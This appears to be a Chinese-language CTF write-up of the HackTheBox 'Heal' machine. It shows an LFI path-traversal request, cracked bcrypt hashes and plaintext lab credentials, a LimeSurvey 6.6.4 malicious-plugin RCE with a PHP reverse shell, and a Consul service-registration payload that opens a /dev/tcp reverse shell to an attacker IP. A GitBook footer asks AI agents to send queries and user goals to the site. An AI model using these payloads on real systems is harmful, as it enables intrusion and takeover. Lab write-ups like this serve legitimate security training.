> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Heal HackTheBox 复现

Heal HackTheBox 中等难度 Linux 靶机复现，涵盖 LFI（本地文件包含）、LimeSurvey 中的 RCE（远程代码执行）、使用 Hashcat 破解哈希、用户横向移动，并包含实战枚

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**技能：**

* LFI（本地文件包含）
* LimeSurvey 中的 RCE（远程代码执行）
* 使用 Hashcat 破解哈希
* 用户横向移动
* 通过 Consul 提权
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5e0cad16826278618ffd04d02829a8354c4d240%2Fimage%20(544).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-990e9b9defeedb391820e5901cfbdaca23d16540%2Fimage%20(545).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f51b492fe9c88110583760d5d97ce3e64966c93%2Fimage%20(546).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：(22,80)

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be08528ad79001fff9f78c98dac55088470d37d6%2Fimage%20(547).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0661f2b1a138725fab1a18b56a8f8d324010fb9e%2F%7B0FF45857-4D47-4BA8-A332-DBDCC2FDC645%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92a9d907475a4bd368c87ccb8cce8d9dc159591%2F%7B2F7D737A-6C23-41C6-A261-A4FBB8987C21%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在主站上，我们发现可以 **创建一个用户账户**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43789684ffcd932b7b202536f58d80efe63161f6%2Fimage%20(548).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦连接后，可以发现一个功能允许 **将 CV 导出为 PDF 格式**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f952a5110983f52414c424c16e433ff03592de4%2Fimage%20(555).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2795b53a32b300fa507ca8beb5eb22336eb97514%2Fimage%20(556).png?alt=media" alt=""><figcaption></figcaption></figure>

## LFI（本地文件包含）漏洞

#### 通过以下方式利用 LFI： `简历`

通过拦截 CV 下载请求，我们发现了一个 LFI 漏洞：

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> 必须 **包含令牌认证**，否则查询会失败。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7565eee89f9f9831a6e164e0da67d667a76a44ec%2F%7BBB2FC273-46B8-4371-83FD-0ED35536EBE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 敏感文件提取

#### 访问 SQLite 数据库

通过列出敏感文件，我们发现重定向到 `/storage/development.sqlite3`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c09079575e3e7a7586b6fe7db3576086ae8990bb%2Fimage%20(557).png?alt=media" alt=""><figcaption></figcaption></figure>

该数据库已被下载，并提取出两个账户及其 **bcrypt 哈希**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b20638366de9c0f128b4c47e46ce8f2d8476dbf%2Fimage%20(558).png?alt=media" alt=""><figcaption></figcaption></figure>

### 哈希破解

#### 使用 Hashcat

使用 **Hashcat** 尝试用以下方式破解哈希： `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> 结果：我们找到了以下用户的密码 **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-debb850fe2a8921432fb8641ddaaafb78f416424%2Fimage%20(559).png?alt=media" alt=""><figcaption></figcaption></figure>

### 发现子域名： `take-survey`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7687b8cc928b45176926323ff199f1660462ace%2Fimage%20(554).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 将条目添加到 `/etc/hosts`

应用程序中出现了一个新的子域名。我们把它添加到 hosts 文件中

## LimeSurvey CMS 漏洞

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 访问管理员区域

发现管理界面可通过以下 URL 访问：

`http://take-survey.heal.htb/index.php/admin`

我们使用 Ralph 的凭据进行连接：

* **用户名** : `ralph`
* **密码** : `147258369`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发现所使用的 LimeSurvey 版本是 **6.6.4**，它存在一个 **远程代码执行（NCE）**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 通过恶意插件进行 RCE 利用

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

我们根据当前情况调整了操作脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

首先，我们创建了一个压缩文件，包含一个 `config.xml` 文件和一个 PHP shell 反向连接脚本：

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们通过 LimeSurvey Web 界面安装了这个恶意插件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

将鼠标移到已安装插件上时，我们检测到了插件 ID。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在编辑脚本以包含该 ID 后，我们在 443 端口上执行：

```bash
nc -nlvp 443
```

最后，我们通过 Python 执行了漏洞利用：

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Linux 终端稳定化：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 横向移动到用户 ron

通过探索机器，我们发现了另一个用户 **ron**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6be7d8f6d5276338473401d246cb017a7be4bfb%2F%7B2F7E298B-6E90-4994-9452-18D007F91EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

一个位于 `应用程序` 文件夹中的配置文件包含用于数据库访问的登录名和密码：

* 用户名 = `db_user`
* 密码 = `AdmiDi0_pA$$w0rd`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e4be832d5838c5fe07d6ce68c4a5b23c9c01a80%2Fimage%20(2967).png?alt=media" alt=""><figcaption></figcaption></figure>

使用这些凭据，我们能够访问 **ron**的账户，从而使我们获得了 **用户 flag：user.txt**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ffe223c70d50441339f96b59fa178e27afd7ceb%2F%7B4EC0BEF1-07E3-46DD-B5FF-1BA92594D0E5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67e4da566347301781376224871385c1a5632019%2Fimage%20(2972).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

### 发现 8500 端口（Consul）

查看开放端口时，我们找到了端口 **8500**，它对应于 Consul 的 Web 界面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

在上进行查询后 `127.0.0.1:8500/ui/`，我们找到了 Consul 的版本 **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### REST API 访问检查

我们测试了 Consul REST API，以检查它是否可以在没有身份验证的情况下访问：

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

我们得到的回答确认了该 API 是开放的。

### 通过恶意检查进行利用

我们使用带有恶意检查的服务记录，通过 bash 命令打开一个反向 shell 到我们的机器：

```bash
nc -lvnp 4444
```

#### 注册带有恶意检查的服务

Consul 允许通过 HTTP 请求动态注册服务。我们利用这一点创建了一个执行 bash 命令的“check”。

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

此载荷的作用：

* `Check.Args[]`：包含一个 bash 命令，它会打开一个 **反向 shell**.
* `Interval`：设置每 10 秒自动执行一次。

运行此载荷后，我们成功获得了 root shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b150173a75b0b9b3df2594baa208531bcfb585c%2Fimage%20(2975).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-498936820a8e0f32b4dedfbc2b516d5e0e767069%2F%7B6A608BB4-A096-46A6-96C7-822A3D8F79F7%7D.png?alt=media" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
